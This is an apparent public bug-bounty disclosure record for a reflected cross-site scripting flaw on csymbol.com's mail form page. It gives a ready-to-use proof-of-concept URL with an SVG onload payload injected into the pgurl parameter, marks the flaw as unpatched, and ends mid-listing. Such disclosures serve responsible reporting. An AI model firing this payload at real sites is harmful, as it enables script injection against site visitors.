csymbol.com XSS vulnerability

Vulnerable URL: http://csymbol.com/special/mailform.php?pgurl=%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 5444410 VIP website...